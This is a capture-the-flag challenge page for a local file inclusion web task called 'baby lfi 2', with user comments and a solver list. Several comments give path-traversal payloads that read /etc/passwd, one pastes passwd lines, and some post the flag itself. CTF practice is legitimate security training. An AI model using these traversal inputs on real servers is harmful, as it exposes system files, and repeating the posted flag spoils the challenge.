baby lfi 2WEB 未解决

分数: 0 金币: 0
题目作者: 未知
一  血: Aman
一血奖励: 0金币
解  决: 1554
提  示:
描  述:
What about making things a bit harder ?
评论
868954104 11月前

?language=./languages/../../../../../etc/passwd shellmates{yOU_M4De_yOUr_waY_7hRough_iT}

回复 1

868954104 11月前

shellmates{yOU_M4De_yOUr_waY_7hRough_iT}

回复 1

我说我风华绝代 1年前

下面解析的链接挂了,大概就是后台会验证是不是在当前language目录下,但是没有验证后面../的目录穿越,所以先输入./language/

回复 1

yituoshi 1年前

Half the truth is often a big lie:Look Here !!! root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin

回复 0

逐月 1年前

这篇思路解释的挺详细 http://t.csdnimg.cn/sIZDF

回复 0

bhgctfon 1年前

文件包含漏洞构造网址, ?language=./languages/../../../../etc/passwd

回复 2

qingye 1年前

language=./languages/../../../../etc/passwd

回复 0

zhangye 1年前

直接用伪协议非法,加上languages就可以了

回复 0

老渡真的不懂 1年前

好嘛不能直接访问,要跳来跳去。?language=./languages/../file://../../../../etc/passwd

回复 1

不会编程的崽 1年前

./language../ 为什么有个./

回复 0

WriteUp

image
gushi666

2 金币

评分(1)

解题动态

dxss 攻破了该题 2小时前
Jeffers0n 攻破了该题 13小时前
mgds 攻破了该题 2天前
Righte0us 攻破了该题 2天前
zhuce 攻破了该题 4天前
Szupop1 攻破了该题 6天前
18487205171 攻破了该题 7天前
ifnoif 攻破了该题 7天前
20030325lj 攻破了该题 7天前
YameMres 攻破了该题 7天前
Waitcat 攻破了该题 8天前
dabing 攻破了该题 8天前
mengchi 攻破了该题 8天前
eleveni386 攻破了该题 9天前
xinxiner 攻破了该题 9天前
半个西瓜 攻破了该题 9天前
zxingxing121 攻破了该题 9天前
root678 攻破了该题 10天前
似舞夜春 攻破了该题 10天前
xiaouu 攻破了该题 10天前
问题反馈